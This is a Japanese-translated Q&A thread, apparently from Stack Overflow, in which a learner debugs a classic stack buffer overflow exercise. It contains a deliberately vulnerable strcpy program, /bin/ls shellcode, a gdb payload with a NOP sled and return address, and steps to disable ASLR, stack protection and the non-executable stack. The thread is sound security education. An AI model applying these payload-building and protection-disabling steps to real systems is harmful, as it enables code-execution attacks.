5

Backtrack Linux で単純な bufferover フロー手法を活用する方法を学ぼうとしています。

ここに私のCプログラムがあります

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

これは私が使用しているシェルコードで、単純な/bin/ls \x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec に対応しています\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

次のコマンドを使用して、このシェルコードを gdb に挿入します

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

アプリケーションをステップ実行するとSIG FAULT、最終的なret命令が生成されます。その時点EIPで は正しく に設定されてい0xffffd30cます。このアドレスはアドレス指定可能NOPで、ペイロードに示されているように、一連の の後に私のシェル コードが続きます。

ASLR を無効にしました sudo echo 0 > /proc/sys/kernel/randomize_va_space

fno-stack-protectorまた、オプションを使用してバイナリをコンパイルしました。

SIGSEGV の原因は何ですか?

4

2 に答える 2

7

私は自分の質問に答えました。問題は「実行可能スタック保護」で、スタックメモリを実行できませんでした。これは、次のように gcc で無効にすることができます

gcc -z execstack

于 2011-08-06T05:39:51.113 に答える
0

GCC (-fno-stack-protector) でスタック破壊保護を無効にしましたか?

gcc コンパイラの最適化をオフにしてバッファ オーバーフローを有効にする方法

于 2011-08-06T04:53:21.517 に答える